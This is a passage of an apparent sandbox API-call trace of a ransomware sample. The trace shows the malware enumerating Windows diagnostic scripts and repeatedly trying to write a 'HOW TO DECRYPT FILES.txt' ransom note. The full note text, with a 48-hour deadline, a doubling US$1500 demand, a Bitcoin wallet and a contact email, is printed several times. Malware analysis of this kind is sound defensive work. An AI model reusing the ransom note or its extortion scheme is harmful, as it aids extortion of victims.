(hObject=0xffffffff) returned 0 [0125.658] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="RS_RemoveUnusedDesktopIcons.ps1" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_RemoveUnusedDesktopIcons.ps1") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_RemoveUnusedDesktopIcons.ps1" [0125.659] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114b9749, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x114b9749, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd73d1fab, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x892, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_SyncSystemTime.ps1", cAlternateFileName="")) returned 1 [0125.659] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.659] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_SyncSystemTime.ps1") returned -1 [0125.659] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_SyncSystemTime.ps1") returned -1 [0125.659] lstrcmpiA (lpString1="", lpString2="RS_SyncSystemTime.ps1") returned -1 [0125.659] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_RemoveUnusedDesktopIcons.ps1") returned="RS_RemoveUnusedDesktopIcons.ps1" [0125.659] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.659] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.659] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.659] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.659] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.660] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.660] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.660] CloseHandle (hObject=0xffffffff) returned 0 [0125.662] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="RS_SyncSystemTime.ps1" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_SyncSystemTime.ps1") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_SyncSystemTime.ps1" [0125.663] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11505a03, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x11505a03, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd73f8109, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x471, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_UserDiagnosticHistory.ps1", cAlternateFileName="")) returned 1 [0125.663] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.663] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_UserDiagnosticHistory.ps1") returned -1 [0125.663] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_UserDiagnosticHistory.ps1") returned -1 [0125.663] lstrcmpiA (lpString1="", lpString2="RS_UserDiagnosticHistory.ps1") returned -1 [0125.663] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_SyncSystemTime.ps1") returned="RS_SyncSystemTime.ps1" [0125.663] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.663] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.663] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.663] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.663] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.663] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.664] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.664] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.664] CloseHandle (hObject=0xffffffff) returned 0 [0125.664] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="RS_UserDiagnosticHistory.ps1" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_UserDiagnosticHistory.ps1") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_UserDiagnosticHistory.ps1" [0125.664] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1152bb60, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1152bb60, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd73f8109, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_UserWERQueue.ps1", cAlternateFileName="")) returned 1 [0125.664] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.664] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_UserWERQueue.ps1") returned -1 [0125.664] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_UserWERQueue.ps1") returned -1 [0125.664] lstrcmpiA (lpString1="", lpString2="RS_UserWERQueue.ps1") returned -1 [0125.664] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_UserDiagnosticHistory.ps1") returned="RS_UserDiagnosticHistory.ps1" [0125.665] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.665] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.665] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.665] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.665] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.665] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.665] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.665] CloseHandle (hObject=0xffffffff) returned 0 [0125.665] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="RS_UserWERQueue.ps1" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_UserWERQueue.ps1") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_UserWERQueue.ps1" [0125.666] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11551cbd, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x11551cbd, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd74443c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xaa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_BrokenShortcuts.ps1", cAlternateFileName="")) returned 1 [0125.666] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.666] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_BrokenShortcuts.ps1") returned -1 [0125.666] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_BrokenShortcuts.ps1") returned -1 [0125.666] lstrcmpiA (lpString1="", lpString2="TS_BrokenShortcuts.ps1") returned -1 [0125.666] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\RS_UserWERQueue.ps1") returned="RS_UserWERQueue.ps1" [0125.666] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.666] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.666] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.666] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.666] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.667] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.667] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.667] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.667] CloseHandle (hObject=0xffffffff) returned 0 [0125.667] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="TS_BrokenShortcuts.ps1" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_BrokenShortcuts.ps1") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_BrokenShortcuts.ps1" [0125.667] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11577e1a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x11577e1a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd74443c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa21, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_DiagnosticHistory.ps1", cAlternateFileName="")) returned 1 [0125.667] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.667] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_DiagnosticHistory.ps1") returned -1 [0125.668] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_DiagnosticHistory.ps1") returned -1 [0125.668] lstrcmpiA (lpString1="", lpString2="TS_DiagnosticHistory.ps1") returned -1 [0125.668] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_BrokenShortcuts.ps1") returned="TS_BrokenShortcuts.ps1" [0125.668] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.668] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.668] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.668] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.668] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.668] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.668] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.669] CloseHandle (hObject=0xffffffff) returned 0 [0125.669] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="TS_DiagnosticHistory.ps1" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_DiagnosticHistory.ps1") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_DiagnosticHistory.ps1" [0125.669] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1159df77, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1159df77, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd746a523, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1139, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_InaccurateSystemTime.ps1", cAlternateFileName="")) returned 1 [0125.669] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.669] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_InaccurateSystemTime.ps1") returned -1 [0125.669] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_InaccurateSystemTime.ps1") returned -1 [0125.669] lstrcmpiA (lpString1="", lpString2="TS_InaccurateSystemTime.ps1") returned -1 [0125.669] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_DiagnosticHistory.ps1") returned="TS_DiagnosticHistory.ps1" [0125.669] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.669] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.669] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.669] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.670] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.670] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.670] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.670] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.670] CloseHandle (hObject=0xffffffff) returned 0 [0125.670] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="TS_InaccurateSystemTime.ps1" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_InaccurateSystemTime.ps1") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_InaccurateSystemTime.ps1" [0125.670] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x115c40d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x115c40d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd7490681, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa07, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_UnusedDesktopIcons.ps1", cAlternateFileName="")) returned 1 [0125.670] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.671] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_UnusedDesktopIcons.ps1") returned -1 [0125.671] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_UnusedDesktopIcons.ps1") returned -1 [0125.671] lstrcmpiA (lpString1="", lpString2="TS_UnusedDesktopIcons.ps1") returned -1 [0125.671] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_InaccurateSystemTime.ps1") returned="TS_InaccurateSystemTime.ps1" [0125.671] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.671] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.671] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.671] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.671] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 